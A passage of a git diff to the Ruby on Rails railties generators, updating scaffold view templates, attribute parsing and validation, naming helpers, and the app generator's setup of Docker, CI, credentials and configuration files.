-        <td><%%= link_to 'Destroy', <%= singular_table_name %>, method: :delete, data: { confirm: 'Are you sure?' } %></td>
-      </tr>
-    <%% end %>
-  </tbody>
-</table>
-
-<br>
-
-<%%= link_to 'New <%= singular_table_name.titleize %>', new_<%= singular_table_name %>_path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb.tt b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb.tt
new file mode 100644
index 0000000000000..c1068aa9d500c
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb.tt
@@ -0,0 +1,16 @@
+<p style="color: green"><%%= notice %></p>
+
+<%% content_for :title, "<%= human_name.pluralize %>" %>
+
+<h1><%= human_name.pluralize %></h1>
+
+<div id="<%= plural_table_name %>">
+  <%% @<%= plural_table_name %>.each do |<%= singular_table_name %>| %>
+    <%%= render <%= singular_table_name %> %>
+    <p>
+      <%%= link_to "Show this <%= human_name.downcase %>", <%= model_resource_name(singular_table_name) %> %>
+    </p>
+  <%% end %>
+</div>
+
+<%%= link_to "New <%= human_name.downcase %>", <%= new_helper(type: :path) %> %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb
deleted file mode 100644
index 9b2b2f4875fa7..0000000000000
--- a/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>New <%= singular_table_name.titleize %></h1>
-
-<%%= render 'form', <%= singular_table_name %>: @<%= singular_table_name %> %>
-
-<%%= link_to 'Back', <%= index_helper %>_path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb.tt b/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb.tt
new file mode 100644
index 0000000000000..5302efed8711d
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb.tt
@@ -0,0 +1,11 @@
+<%% content_for :title, "New <%= human_name.downcase %>" %>
+
+<h1>New <%= human_name.downcase %></h1>
+
+<%%= render "form", <%= singular_table_name %>: @<%= singular_table_name %> %>
+
+<br>
+
+<div>
+  <%%= link_to "Back to <%= human_name.pluralize.downcase %>", <%= index_helper(type: :path) %> %>
+</div>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/partial.html.erb.tt b/railties/lib/rails/generators/erb/scaffold/templates/partial.html.erb.tt
new file mode 100644
index 0000000000000..86b4bc6c537e9
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/partial.html.erb.tt
@@ -0,0 +1,17 @@
+<div id="<%%= dom_id <%= singular_name %> %>">
+<% attributes.reject(&:password_digest?).each do |attribute| -%>
+  <div>
+    <strong><%= attribute.human_name %>:</strong>
+<% if attribute.attachment? -%>
+    <%%= link_to <%= singular_name %>.<%= attribute.column_name %>.filename, <%= singular_name %>.<%= attribute.column_name %> if <%= singular_name %>.<%= attribute.column_name %>.attached? %>
+<% elsif attribute.attachments? -%>
+    <%% <%= singular_name %>.<%= attribute.column_name %>.each do |<%= attribute.singular_name %>| %>
+      <div><%%= link_to <%= attribute.singular_name %>.filename, <%= attribute.singular_name %> %></div>
+    <%% end %>
+<% else -%>
+    <%%= <%= singular_name %>.<%= attribute.column_name %> %>
+<% end -%>
+  </div>
+
+<% end -%>
+</div>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
deleted file mode 100644
index 5e634153beb39..0000000000000
--- a/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
+++ /dev/null
@@ -1,11 +0,0 @@
-<p id="notice"><%%= notice %></p>
-
-<% attributes.reject(&:password_digest?).each do |attribute| -%>
-<p>
-  <strong><%= attribute.human_name %>:</strong>
-  <%%= @<%= singular_table_name %>.<%= attribute.name %> %>
-</p>
-
-<% end -%>
-<%%= link_to 'Edit', edit_<%= singular_table_name %>_path(@<%= singular_table_name %>) %> |
-<%%= link_to 'Back', <%= index_helper %>_path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb.tt b/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb.tt
new file mode 100644
index 0000000000000..3187f5e00465f
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb.tt
@@ -0,0 +1,10 @@
+<p style="color: green"><%%= notice %></p>
+
+<%%= render @<%= singular_table_name %> %>
+
+<div>
+  <%%= link_to "Edit this <%= human_name.downcase %>", <%= edit_helper(type: :path) %> %> |
+  <%%= link_to "Back to <%= human_name.pluralize.downcase %>", <%= index_helper(type: :path) %> %>
+
+  <%%= button_to "Destroy this <%= human_name.downcase %>", <%= model_resource_name(prefix: "@") %>, method: :delete %>
+</div>
diff --git a/railties/lib/rails/generators/generated_attribute.rb b/railties/lib/rails/generators/generated_attribute.rb
index baed7bf1e3074..431f7cc129e16 100644
--- a/railties/lib/rails/generators/generated_attribute.rb
+++ b/railties/lib/rails/generators/generated_attribute.rb
@@ -1,10 +1,32 @@
+# frozen_string_literal: true
+
 require "active_support/time"
+require "active_support/core_ext/string/starts_ends_with"
 
 module Rails
   module Generators
     class GeneratedAttribute # :nodoc:
       INDEX_OPTIONS = %w(index uniq)
       UNIQ_INDEX_OPTIONS = %w(uniq)
+      DEFAULT_TYPES = %w(
+        attachment
+        attachments
+        belongs_to
+        boolean
+        date
+        datetime
+        decimal
+        digest
+        float
+        integer
+        references
+        rich_text
+        string
+        text
+        time
+        timestamp
+        token
+      )
 
       attr_accessor :name, :type
       attr_reader   :attr_options
@@ -12,23 +34,50 @@ class GeneratedAttribute # :nodoc:
 
       class << self
         def parse(column_definition)
-          name, type, has_index = column_definition.split(":")
+          name, type, index_type = column_definition.split(":")
 
           # if user provided "name:index" instead of "name:string:index"
           # type should be set blank so GeneratedAttribute's constructor
           # could set it to :string
-          has_index, type = type, nil if INDEX_OPTIONS.include?(type)
+          index_type, type = type, nil if valid_index_type?(type)
 
           type, attr_options = *parse_type_and_options(type)
           type = type.to_sym if type
 
+          if dangerous_name?(name)
+            raise Error, "Could not generate field '#{name}', as it is already defined by Active Record."
+          end
+
+          if type && !valid_type?(type)
+            raise Error, "Could not generate field '#{name}' with unknown type '#{type}'."
+          end
+
+          if index_type && !valid_index_type?(index_type)
+            raise Error, "Could not generate field '#{name}' with unknown index '#{index_type}'."
+          end
+
           if type && reference?(type)
-            if UNIQ_INDEX_OPTIONS.include?(has_index)
+            if UNIQ_INDEX_OPTIONS.include?(index_type)
               attr_options[:index] = { unique: true }
             end
           end
 
-          new(name, type, has_index, attr_options)
+          new(name, type, index_type, attr_options)
+        end
+
+        def dangerous_name?(name)
+          defined?(ActiveRecord::Base) &&
+            ActiveRecord::Base.dangerous_attribute_method?(name)
+        end
+
+        def valid_type?(type)
+          DEFAULT_TYPES.include?(type.to_s) ||
+            !defined?(ActiveRecord::Base) ||
+            ActiveRecord::Base.connection_db_config.adapter_class.valid_type?(type)
+        end
+
+        def valid_index_type?(index_type)
+          INDEX_OPTIONS.include?(index_type.to_s)
         end
 
         def reference?(type)
@@ -36,24 +85,30 @@ def reference?(type)
         end
 
         private
+          # parse possible attribute options like :limit for string/text/binary/integer, :precision/:scale for decimals or :polymorphic for references/belongs_to
+          # when declaring options curly brackets should be used
+          def parse_type_and_options(type)
+            case type
+            when /(text|binary)\{([a-z]+)\}/
+              parsed_type, parsed_options = $1, { size: $2.to_sym }
+            when /(string|text|binary|integer)\{(\d+)\}/
+              parsed_type, parsed_options = $1, { limit: $2.to_i }
+            when /decimal\{(\d+)[,.-](\d+)\}/
+              parsed_type, parsed_options = :decimal, { precision: $1.to_i, scale: $2.to_i }
+            when /(references|belongs_to)\{(.+)\}/
+              parsed_type = $1
+              provided_options = $2.split(/[,.-]/)
+              parsed_options = Hash[provided_options.map { |opt| [opt.to_sym, true] }]
+            else
+              parsed_type, parsed_options = type&.remove("!"), {}
+            end
 
-        # parse possible attribute options like :limit for string/text/binary/integer, :precision/:scale for decimals or :polymorphic for references/belongs_to
-        # when declaring options curly brackets should be used
-        def parse_type_and_options(type)
-          case type
-          when /(string|text|binary|integer)\{(\d+)\}/
-            return $1, limit: $2.to_i
-          when /decimal\{(\d+)[,.-](\d+)\}/
-            return :decimal, precision: $1.to_i, scale: $2.to_i
-          when /(references|belongs_to)\{(.+)\}/
-            type = $1
-            provided_options = $2.split(/[,.-]/)
-            options = Hash[provided_options.map { |opt| [opt.to_sym, true] }]
-            return type, options
-          else
-            return type, {}
+            if type&.ends_with?("!")
+              parsed_options[:null] = false
+            end
+
+            return parsed_type, parsed_options
           end
-        end
       end
 
       def initialize(name, type = nil, index_type = false, attr_options = {})
@@ -66,14 +121,16 @@ def initialize(name, type = nil, index_type = false, attr_options = {})
 
       def field_type
         @field_type ||= case type
-                        when :integer              then :number_field
-                        when :float, :decimal      then :text_field
-                        when :time                 then :time_select
-                        when :datetime, :timestamp then :datetime_select
-                        when :date                 then :date_select
-                        when :text                 then :text_area
-                        when :boolean              then :check_box
-          else
+                        when :integer                  then :number_field
+                        when :float, :decimal          then :text_field
+                        when :time                     then :time_field
+                        when :datetime, :timestamp     then :datetime_field
+                        when :date                     then :date_field
+                        when :text                     then :textarea
+                        when :rich_text                then :rich_textarea
+                        when :boolean                  then :checkbox
+                        when :attachment, :attachments then :file_field
+                        else
                           :text_field
         end
       end
@@ -83,23 +140,25 @@ def default
                      when :integer                     then 1
                      when :float                       then 1.5
                      when :decimal                     then "9.99"
-                     when :datetime, :timestamp, :time then Time.now.to_s(:db)
-                     when :date                        then Date.today.to_s(:db)
+                     when :datetime, :timestamp, :time then Time.now.to_fs(:db)
+                     when :date                        then Date.today.to_fs(:db)
                      when :string                      then name == "type" ? "" : "MyString"
                      when :text                        then "MyText"
                      when :boolean                     then false
-                     when :references, :belongs_to     then nil
-          else
+                     when :references, :belongs_to,
+                          :attachment, :attachments,
+                          :rich_text                   then nil
+                     else
                        ""
         end
       end
 
       def plural_name
-        name.sub(/_id$/, "").pluralize
+        name.delete_suffix("_id").pluralize
       end
 
       def singular_name
-        name.sub(/_id$/, "").singularize
+        name.delete_suffix("_id").singularize
       end
 
       def human_name
@@ -119,7 +178,7 @@ def column_name
       end
 
       def foreign_key?
-        !!(name =~ /_id$/)
+        name.end_with?("_id")
       end
 
       def reference?
@@ -131,7 +190,7 @@ def polymorphic?
       end
 
       def required?
-        attr_options[:required]
+        reference? && Rails.application.config.active_record.belongs_to_required_by_default
       end
 
       def has_index?
@@ -150,8 +209,24 @@ def token?
         type == :token
       end
 
+      def rich_text?
+        type == :rich_text
+      end
+
+      def attachment?
+        type == :attachment
+      end
+
+      def attachments?
+        type == :attachments
+      end
+
+      def virtual?
+        rich_text? || attachment? || attachments?
+      end
+
       def inject_options
-        "".tap { |s| options_for_migration.each { |k, v| s << ", #{k}: #{v.inspect}" } }
+        (+"").tap { |s| options_for_migration.each { |k, v| s << ", #{k}: #{v.inspect}" } }
       end
 
       def inject_index_options
@@ -161,7 +236,6 @@ def inject_index_options
       def options_for_migration
         @attr_options.dup.tap do |options|
           if required?
-            options.delete(:required)
             options[:null] = false
           end
 
@@ -170,6 +244,31 @@ def options_for_migration
           end
         end
       end
+
+      def to_s
+        if has_uniq_index?
+          "#{name}:#{type}#{print_attribute_options}:uniq"
+        elsif has_index?
+          "#{name}:#{type}#{print_attribute_options}:index"
+        else
+          "#{name}:#{type}#{print_attribute_options}"
+        end
+      end
+
+      private
+        def print_attribute_options
+          if attr_options.empty?
+            ""
+          elsif attr_options[:size]
+            "{#{attr_options[:size]}}"
+          elsif attr_options[:limit]
+            "{#{attr_options[:limit]}}"
+          elsif attr_options[:precision] && attr_options[:scale]
+            "{#{attr_options[:precision]},#{attr_options[:scale]}}"
+          else
+            "{#{attr_options.keys.join(",")}}"
+          end
+        end
     end
   end
 end
diff --git a/railties/lib/rails/generators/js/assets/assets_generator.rb b/railties/lib/rails/generators/js/assets/assets_generator.rb
deleted file mode 100644
index 64d706ec91734..0000000000000
--- a/railties/lib/rails/generators/js/assets/assets_generator.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require "rails/generators/named_base"
-
-module Js # :nodoc:
-  module Generators # :nodoc:
-    class AssetsGenerator < Rails::Generators::NamedBase # :nodoc:
-      source_root File.expand_path("../templates", __FILE__)
-
-      def copy_javascript
-        copy_file "javascript.js", File.join("app/assets/javascripts", class_path, "#{file_name}.js")
-      end
-    end
-  end
-end
diff --git a/railties/lib/rails/generators/js/assets/templates/javascript.js b/railties/lib/rails/generators/js/assets/templates/javascript.js
deleted file mode 100644
index dee720facdcda..0000000000000
--- a/railties/lib/rails/generators/js/assets/templates/javascript.js
+++ /dev/null
@@ -1,2 +0,0 @@
-// Place all the behaviors and hooks related to the matching controller here.
-// All this logic will automatically be available in application.js.
diff --git a/railties/lib/rails/generators/migration.rb b/railties/lib/rails/generators/migration.rb
index 82481169c3d67..25a967b0c2868 100644
--- a/railties/lib/rails/generators/migration.rb
+++ b/railties/lib/rails/generators/migration.rb
@@ -1,16 +1,17 @@
-require "active_support/concern"
+# frozen_string_literal: true
+
 require "rails/generators/actions/create_migration"
 
 module Rails
   module Generators
     # Holds common methods for migrations. It assumes that migrations have the
     # [0-9]*_name format and can be used by other frameworks (like Sequel)
-    # just by implementing the next migration version method.
+    # just by implementing the +next_migration_number+ method.
     module Migration
       extend ActiveSupport::Concern
       attr_reader :migration_number, :migration_file_name, :migration_class_name
 
-      module ClassMethods #:nodoc:
+      module ClassMethods # :nodoc:
         def migration_lookup_at(dirname)
           Dir.glob("#{dirname}/[0-9]*_*.rb")
         end
@@ -44,10 +45,10 @@ def set_migration_assigns!(destination)
       end
 
       # Creates a migration template at the given destination. The difference
-      # to the default template method is that the migration version is appended
+      # to the default template method is that the migration number is prepended
       # to the destination file name.
       #
-      # The migration version, migration file name, migration class name are
+      # The migration number, migration file name, migration class name are
       # available as instance variables in the template to be rendered.
       #
       #   migration_template "migration.rb", "db/migrate/add_foo_to_bar.rb"
@@ -55,14 +56,14 @@ def migration_template(source, destination, config = {})
         source = File.expand_path(find_in_source_paths(source.to_s))
 
         set_migration_assigns!(destination)
-        context = instance_eval("binding")
 
         dir, base = File.split(destination)
         numbered_destination = File.join(dir, ["%migration_number%", base].join("_"))
 
-        create_migration numbered_destination, nil, config do
-          ERB.new(::File.binread(source), nil, "-", "@output_buffer").result(context)
+        file = create_migration numbered_destination, nil, config do
+          ERB.new(::File.binread(source), trim_mode: "-", eoutvar: "@output_buffer").result(binding)
         end
+        Rails::Generators.add_generated_file(file)
       end
     end
   end
diff --git a/railties/lib/rails/generators/model_helpers.rb b/railties/lib/rails/generators/model_helpers.rb
index 6f87a18660e04..321748fffa239 100644
--- a/railties/lib/rails/generators/model_helpers.rb
+++ b/railties/lib/rails/generators/model_helpers.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/active_model"
 
 module Rails
@@ -5,24 +7,56 @@ module Generators
     module ModelHelpers # :nodoc:
       PLURAL_MODEL_NAME_WARN_MESSAGE = "[WARNING] The model name '%s' was recognized as a plural, using the singular '%s' instead. " \
                                        "Override with --force-plural or setup custom inflection rules for this noun before running the generator."
+      IRREGULAR_MODEL_NAME_WARN_MESSAGE = <<~WARNING
+      [WARNING] Rails cannot recover singular form from its plural form '%s'.
+      Please setup custom inflection rules for this noun before running the generator in config/initializers/inflections.rb.
+      WARNING
+      INFLECTION_IMPOSSIBLE_ERROR_MESSAGE = <<~ERROR
+      Rails cannot recover the underscored form from its camelcase form '%s'.
+      Please use an underscored name instead, either '%s' or '%s'.
+      Or setup custom inflection rules for this noun before running the generator in config/initializers/inflections.rb.
+      ERROR
       mattr_accessor :skip_warn
 
-      def self.included(base) #:nodoc:
-        base.class_option :force_plural, type: :boolean, default: false, desc: "Forces the use of the given model name"
+      def self.included(base) # :nodoc:
+        base.class_option :force_plural, type: :boolean, default: false,
+          desc: "Do not singularize the model name, even if it appears plural"
       end
 
       def initialize(args, *_options)
         super
-        if name == name.pluralize && name.singularize != name.pluralize && !options[:force_plural]
+        if plural_model_name?(name) && !options[:force_plural]
           singular = name.singularize
           unless ModelHelpers.skip_warn
             say PLURAL_MODEL_NAME_WARN_MESSAGE % [name, singular]
-            ModelHelpers.skip_warn = true
           end
           name.replace singular
           assign_names!(name)
         end
+        if inflection_impossible?(name)
+          option1 = name.singularize.underscore
+          option2 = name.pluralize.underscore.singularize
+          raise Error, INFLECTION_IMPOSSIBLE_ERROR_MESSAGE % [name, option1, option2]
+        end
+        if irregular_model_name?(name) && ! ModelHelpers.skip_warn
+          say IRREGULAR_MODEL_NAME_WARN_MESSAGE % [name.pluralize]
+        end
+        ModelHelpers.skip_warn = true
       end
+
+      private
+        def plural_model_name?(name)
+          name == name.pluralize && name.singularize != name.pluralize
+        end
+
+        def irregular_model_name?(name)
+          name.singularize != name.pluralize.singularize
+        end
+
+        def inflection_impossible?(name)
+          name != name.underscore &&
+            name.singularize.underscore != name.pluralize.underscore.singularize
+        end
     end
   end
 end
diff --git a/railties/lib/rails/generators/named_base.rb b/railties/lib/rails/generators/named_base.rb
index 02557b098ad0c..fe032f2552417 100644
--- a/railties/lib/rails/generators/named_base.rb
+++ b/railties/lib/rails/generators/named_base.rb
@@ -1,4 +1,5 @@
-require "active_support/core_ext/module/introspection"
+# frozen_string_literal: true
+
 require "rails/generators/base"
 require "rails/generators/generated_attribute"
 
@@ -6,10 +7,8 @@ module Rails
   module Generators
     class NamedBase < Base
       argument :name, type: :string
-      class_option :skip_namespace, type: :boolean, default: false,
-                                    desc: "Skip namespace (affects only isolated applications)"
 
-      def initialize(args, *options) #:nodoc:
+      def initialize(args, *options) # :nodoc:
         @inside_template = nil
         # Unfreeze name in case it's given as a frozen string
         args[0] = args[0].dup if args[0].is_a?(String) && args[0].frozen?
@@ -23,7 +22,7 @@ def initialize(args, *options) #:nodoc:
       no_tasks do
         def template(source, *args, &block)
           inside_template do
-            super
+            Rails::Generators.add_generated_file(super)
           end
         end
 
@@ -32,12 +31,8 @@ def js_template(source, destination)
         end
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-        attr_reader :file_name
-
       private
+        attr_reader :file_name
 
         # FIXME: We are avoiding to use alias because a bug on thor that make
         # this method public and add it to the task list.
@@ -45,24 +40,6 @@ def singular_name # :doc:
           file_name
         end
 
-        # Wrap block with namespace of current application
-        # if namespace exists and is not skipped
-        def module_namespacing(&block) # :doc:
-          content = capture(&block)
-          content = wrap_with_namespace(content) if namespaced?
-          concat(content)
-        end
-
-        def indent(content, multiplier = 2) # :doc:
-          spaces = " " * multiplier
-          content.each_line.map { |line| line.blank? ? line : "#{spaces}#{line}" }.join
-        end
-
-        def wrap_with_namespace(content) # :doc:
-          content = indent(content).chomp
-          "module #{namespace.name}\n#{content}\nend\n"
-        end
-
         def inside_template # :doc:
           @inside_template = true
           yield
@@ -74,18 +51,6 @@ def inside_template? # :doc:
           @inside_template
         end
 
-        def namespace # :doc:
-          Rails::Generators.namespace
-        end
-
-        def namespaced? # :doc:
-          !options[:skip_namespace] && namespace
-        end
-
-        def namespace_dirs
-          @namespace_dirs ||= namespace.name.split("::").map(&:underscore)
-        end
-
         def file_path # :doc:
           @file_path ||= (class_path + [file_name]).join("/")
         end
@@ -102,10 +67,6 @@ def namespaced_class_path # :doc:
           @namespaced_class_path ||= namespace_dirs + @class_path
         end
 
-        def namespaced_path # :doc:
-          @namespaced_path ||= namespace_dirs.join("/")
-        end
-
         def class_name # :doc:
           (class_path + [file_name]).map!(&:camelize).join("::")
         end
@@ -133,20 +94,20 @@ def uncountable? # :doc:
           singular_name == plural_name
         end
 
-        def index_helper # :doc:
-          uncountable? ? "#{plural_table_name}_index" : plural_table_name
+        def index_helper(type: nil) # :doc:
+          [plural_route_name, ("index" if uncountable?), type].compact.join("_")
         end
 
-        def show_helper # :doc:
-          "#{singular_table_name}_url(@#{singular_table_name})"
+        def show_helper(arg = "@#{singular_table_name}", type: :url) # :doc:
+          "#{singular_route_name}_#{type}(#{arg})"
         end
 
-        def edit_helper # :doc:
-          "edit_#{show_helper}"
+        def edit_helper(...) # :doc:
+          "edit_#{show_helper(...)}"
         end
 
-        def new_helper # :doc:
-          "new_#{singular_table_name}_url"
+        def new_helper(type: :url) # :doc:
+          "new_#{singular_route_name}_#{type}"
         end
 
         def singular_table_name # :doc:
@@ -166,7 +127,7 @@ def fixture_file_name # :doc:
         end
 
         def route_url # :doc:
-          @route_url ||= class_path.collect { |dname| "/" + dname }.join + "/" + plural_file_name
+          @route_url ||= controller_class_path.collect { |dname| "/" + dname }.join + "/" + plural_file_name
         end
 
         def url_helper_prefix # :doc:
@@ -182,6 +143,35 @@ def application_name # :doc:
           end
         end
 
+        def redirect_resource_name # :doc:
+          model_resource_name(prefix: "@")
+        end
+
+        def model_resource_name(base_name = singular_table_name, prefix: "") # :doc:
+          resource_name = "#{prefix}#{base_name}"
+          if options[:model_name]
+            "[#{controller_class_path.map { |name| ":" + name }.join(", ")}, #{resource_name}]"
+          else
+            resource_name
+          end
+        end
+
+        def singular_route_name # :doc:
+          if options[:model_name]
+            "#{controller_class_path.join('_')}_#{singular_table_name}"
+          else
+            singular_table_name
+          end
+        end
+
+        def plural_route_name # :doc:
+          if options[:model_name]
+            "#{controller_class_path.join('_')}_#{plural_table_name}"
+          else
+            plural_table_name
+          end
+        end
+
         def assign_names!(name)
           @class_path = name.include?("/") ? name.split("/") : name.split("::")
           @class_path.map!(&:underscore)
@@ -212,7 +202,7 @@ def mountable_engine? # :doc:
         end
 
         # Add a class collisions name to be checked on class initialization. You
-        # can supply a hash with a :prefix or :suffix to be tested.
+        # can supply a hash with a +:prefix+ or +:suffix+ to be tested.
         #
         # ==== Examples
         #
@@ -223,7 +213,7 @@ def mountable_engine? # :doc:
         #
         def self.check_class_collision(options = {}) # :doc:
           define_method :check_class_collision do
-            name = if respond_to?(:controller_class_name) # for ScaffoldBase
+            name = if respond_to?(:controller_class_name, true) # for ResourceHelpers
               controller_class_name
             else
               class_name
diff --git a/railties/lib/rails/generators/rails/app/USAGE b/railties/lib/rails/generators/rails/app/USAGE
index 28df6ebf44bf5..85d90e9c0da6f 100644
--- a/railties/lib/rails/generators/rails/app/USAGE
+++ b/railties/lib/rails/generators/rails/app/USAGE
@@ -1,14 +1,31 @@
 Description:
-    The 'rails new' command creates a new Rails application with a default
+    The `rails new` command creates a new Rails application with a default
     directory structure and configuration at the path you specify.
 
     You can specify extra command-line arguments to be used every time
-    'rails new' runs in the .railsrc configuration file in your home directory.
+    `rails new` runs in the .railsrc configuration file in your home directory,
+    or in $XDG_CONFIG_HOME/rails/railsrc if XDG_CONFIG_HOME is set.
 
     Note that the arguments specified in the .railsrc file don't affect the
-    defaults values shown above in this help message.
+    default values shown above in this help message.
 
-Example:
-    rails new ~/Code/Ruby/weblog
+    You can specify which version to use when creating a new rails application 
+    using `rails _<version>_ new`.
 
-    This generates a skeletal Rails installation in ~/Code/Ruby/weblog.
+Examples:
+    `rails new ~/Code/Ruby/weblog`
+
+    This generates a new Rails app in ~/Code/Ruby/weblog.
+
+    `rails _<version>_ new weblog`
+
+    This generates a new Rails app with the provided version in ./weblog.
+
+    `rails new weblog --api`
+
+    This generates a new Rails app in API mode in ./weblog.
+
+    `rails new weblog --skip-action-mailer`
+
+    This generates a new Rails app without Action Mailer in ./weblog.
+    Any part of Rails can be skipped during app generation.
diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb
index 3cf923faf0b58..00faa5be606bd 100644
--- a/railties/lib/rails/generators/rails/app/app_generator.rb
+++ b/railties/lib/rails/generators/rails/app/app_generator.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "rails/generators/app_base"
+require "rails/generators/rails/devcontainer/devcontainer_generator"
 
 module Rails
   module ActionMethods # :nodoc:
@@ -13,15 +16,14 @@ def initialize(generator)
       %w(template copy_file directory empty_directory inside
          empty_directory_with_keep_file create_file chmod shebang).each do |method|
         class_eval <<-RUBY, __FILE__, __LINE__ + 1
-          def #{method}(*args, &block)
-            @generator.send(:#{method}, *args, &block)
+          def #{method}(...)
+            @generator.send(:#{method}, ...)
           end
         RUBY
       end
 
-      # TODO: Remove once this is fully in place
-      def method_missing(meth, *args, &block)
-        @generator.send(meth, *args, &block)
+      def method_missing(...)
+        @generator.send(...)
       end
   end
 
@@ -32,6 +34,14 @@ def method_missing(meth, *args, &block)
   # This allows you to override entire operations, like the creation of the
   # Gemfile, README, or JavaScript files, without needing to know exactly
   # what those operations do so you can create another template action.
+  #
+  #  class CustomAppBuilder < Rails::AppBuilder
+  #    def test
+  #      @generator.gem "rspec-rails", group: [:development, :test]
+  #      run "bundle install"
+  #      generate "rspec:install"
+  #    end
+  #  end
   class AppBuilder
     def rakefile
       template "Rakefile"
@@ -41,6 +51,14 @@ def readme
       copy_file "README.md", "README.md"
     end
 
+    def ruby_version
+      template "ruby-version", ".ruby-version"
+    end
+
+    def node_version
+      template "node-version", ".node-version"
+    end
+
     def gemfile
       template "Gemfile"
     end
@@ -53,71 +71,148 @@ def gitignore
       template "gitignore", ".gitignore"
     end
 
+    def gitattributes
+      template "gitattributes", ".gitattributes"
+    end
+
+    def dockerfiles
+      template "Dockerfile"
+      template "dockerignore", ".dockerignore"
+
+      template "docker-entrypoint", "bin/docker-entrypoint"
+      chmod "bin/docker-entrypoint", 0755 & ~File.umask, verbose: false
+    end
+
+    def cifiles
+      empty_directory ".github/workflows"
+      template "github/ci.yml", ".github/workflows/ci.yml"
+      template "github/dependabot.yml", ".github/dependabot.yml"
+    end
+
+    def rubocop
+      template "rubocop.yml", ".rubocop.yml"
+    end
+
     def version_control
       if !options[:skip_git] && !options[:pretend]
-        run "git init"
+        run git_init_command, capture: options[:quiet], abort_on_failure: false
       end
     end
 
     def app
       directory "app"
 
-      keep_file "app/assets/images"
-      empty_directory_with_keep_file "app/assets/javascripts/channels" unless options[:skip_action_cable]
+      empty_directory_with_keep_file "app/assets/images"
 
       keep_file  "app/controllers/concerns"
       keep_file  "app/models/concerns"
     end
 
     def bin
-      directory "bin" do |content|
+      exclude_pattern = Regexp.union([(/thrust/ if skip_thruster?), (/rubocop/ if skip_rubocop?), (/brakeman/ if skip_brakeman?), (/bundler-audit/ if skip_bundler_audit?)].compact)
+      directory "bin", { exclude_pattern: exclude_pattern } do |content|
         "#{shebang}\n" + content
       end
       chmod "bin", 0755 & ~File.umask, verbose: false
     end
 
+    def bin_when_updating
+      bin
+    end
+
     def config
       empty_directory "config"
 
       inside "config" do
-        template "routes.rb"
+        template "routes.rb" unless options[:update]
         template "application.rb"
         template "environment.rb"
-        template "secrets.yml"
-        template "cable.yml" unless options[:skip_action_cable]
-        template "puma.rb"   unless options[:skip_puma]
-        template "spring.rb" if spring_install?
+        template "bundler-audit.yml" unless skip_bundler_audit?
+        template "cable.yml" unless options[:update] || skip_action_cable?
+        template "ci.rb"
+        template "puma.rb"
+        template "storage.yml" unless options[:update] || skip_active_storage?
 
         directory "environments"
         directory "initializers"
-        directory "locales"
+        directory "locales" unless options[:update]
       end
     end
 
     def config_when_updating
-      cookie_serializer_config_exist = File.exist?("config/initializers/cookies_serializer.rb")
-      action_cable_config_exist = File.exist?("config/cable.yml")
-      rack_cors_config_exist = File.exist?("config/initializers/cors.rb")
+      action_cable_config_exist       = File.exist?("config/cable.yml")
+      active_storage_config_exist     = File.exist?("config/storage.yml")
+      ci_config_exist                 = File.exist?("config/ci.rb")
+      bundle_audit_config_exist       = File.exist?("config/bundler-audit.yml")
+      rack_cors_config_exist          = File.exist?("config/initializers/cors.rb")
+      assets_config_exist             = File.exist?("config/initializers/assets.rb")
+      asset_app_stylesheet_exist      = File.exist?("app/assets/stylesheets/application.css")
+      csp_config_exist                = File.exist?("config/initializers/content_security_policy.rb")
+
+      @config_target_version = Rails.application.config.loaded_config_version || "5.0"
 
       config
 
-      gsub_file "config/environments/development.rb", /^(\s+)config\.file_watcher/, '\1# config.file_watcher'
+      if !skip_action_cable? && !action_cable_config_exist
+        template "config/cable.yml"
+      end
 
-      unless cookie_serializer_config_exist
-        gsub_file "config/initializers/cookies_serializer.rb", /json(?!,)/, "marshal"
+      if !skip_active_storage? && !active_storage_config_exist
+        template "config/storage.yml"
       end
 
-      unless action_cable_config_exist
-        template "config/cable.yml"
+      if !ci_config_exist
+        template "config/ci.rb"
+      end
+
+      if skip_asset_pipeline? && !assets_config_exist
+        remove_file "config/initializers/assets.rb"
+      end
+
+      if skip_asset_pipeline? && !asset_app_stylesheet_exist
+        remove_file "app/assets/stylesheets/application.css"
       end
 
       unless rack_cors_config_exist
         remove_file "config/initializers/cors.rb"
       end
+
+      if !skip_bundler_audit? && !bundle_audit_config_exist
+        template "config/bundler-audit.yml"
+      end
+
+      if options[:api]
+        unless csp_config_exist
+          remove_file "config/initializers/content_security_policy.rb"
+        end
+      end
+    end
+
+    def master_key
+      return if options[:pretend] || options[:dummy_app]
+
+      require "rails/generators/rails/master_key/master_key_generator"
+      master_key_generator = Rails::Generators::MasterKeyGenerator.new([], quiet: options[:quiet], force: options[:force])
+      master_key_generator.add_master_key_file_silently
+    end
+
+    def credentials
+      return if options[:pretend] || options[:dummy_app]
+
+      require "rails/generators/rails/credentials/credentials_generator"
+      Rails::Generators::CredentialsGenerator.new([], quiet: true).add_credentials_file
+    end
+
+    def credentials_diff_enroll
+      return if options[:skip_decrypted_diffs] || options[:dummy_app] || options[:pretend]
+
+      @generator.shell.mute do
+        rails_command "credentials:diff --enroll", inline: true, shell: @generator.shell
+      end
     end
 
     def database_yml
